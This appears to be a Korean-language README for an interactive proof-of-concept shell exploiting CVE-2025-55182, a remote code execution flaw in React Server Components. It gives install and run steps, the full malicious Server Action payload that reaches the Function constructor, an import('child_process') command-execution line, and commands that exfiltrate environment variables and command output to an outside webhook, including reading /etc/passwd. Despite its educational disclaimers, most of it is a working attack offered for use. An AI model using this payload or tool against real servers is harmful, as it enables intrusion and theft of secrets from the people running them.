
CVE-2025-55182 대화형 PoC - React Server Components RCE - 교육용 보안 연구
React Server Components의 원격 코드 실행(RCE) 취약점인 CVE-2025-55182를 악용하기 위한 대화형 셸입니다.
이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.
CVE-2025-55182는 다음의 React Server Components(RSC)에 영향을 미칩니다:
이 취약점은 Server Actions로 전송되는 악성 페이로드를 통해 원격 코드 실행(RCE)을 허용합니다.
$@x 구문을 사용합니다..then() 메서드가 있는 객체(Promise 유사)를 자동으로 언랩(unwrap)합니다._response, _formData, _prefix 속성을 가진 악성 페이로드를 제작하여Function 생성자에 도달할 수 있습니다.$3:constructor:constructor → Function constructor → RCE
git clone https://github.com/NathanJ60/react2shell-interactive.git
cd react2shell-interactive
npm install
exploit.js를 편집하고 다음 값을 업데이트하십시오:
const TARGET_URL = 'http://localhost:3000/' // 취약한 Next.js 서버
const WEBHOOK_URL = 'https://webhook.site/YOUR-ID' // 본인의 웹훅 URL
무료 웹훅은 https://webhook.site에서 받으세요.
node exploit.js
react2shell> !test
[+] Sent! Check webhook
react2shell> whoami
[+] Sent: whoami
react2shell> ls -la
[+] Sent: ls -la
react2shell> !env
[+] Sent! Check webhook for env vars
결과는 터미널이 아닌 웹훅에 표시됩니다.
{
'0': '$1',
'1': {
'status': 'resolved_model',
'reason': 0,
'_response': '$4',
'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
'then': '$2:then'
},
'2': '$@3',
'3': [],
'4': {
'_prefix': '<JAVASCRIPT_CODE>//',
'_formData': { 'get': '$3:constructor:constructor' },
'_chunks': '$2:_response:_chunks'
}
}
next-action 헤더와 함께 multipart 폼 데이터로 전송됩니다.$@3은 Chunk 참조를 생성합니다.$3:constructor:constructor는 Function으로 이동합니다._prefix 콘텐츠가 Function()에 전달되어 실행됩니다.require()를 사용할 수 없습니다.import()를 사용하십시오:
import("child_process").then(cp => cp.execSync("whoami"))
취약점을 수정하려면 다음 버전으로 업데이트하십시오:
MIT 라이선스 - 교육 목적으로만 사용하십시오.
보안 연구 PoC - 책임감 있게 사용하십시오.
| 명령어 | 설명 |
|---|
!test | 익스플로잇이 작동하는지 테스트합니다(웹훅으로 확인을 보냅니다) |
!env | 환경 변수(process.env)를 유출합니다 |
!js <code> | 사용자 정의 JavaScript를 실행합니다 |
!help | 도움말을 표시합니다 |
!exit | 종료합니다 |
<command> | 셸 명령어를 실행합니다(예: whoami, ls, cat /etc/passwd) |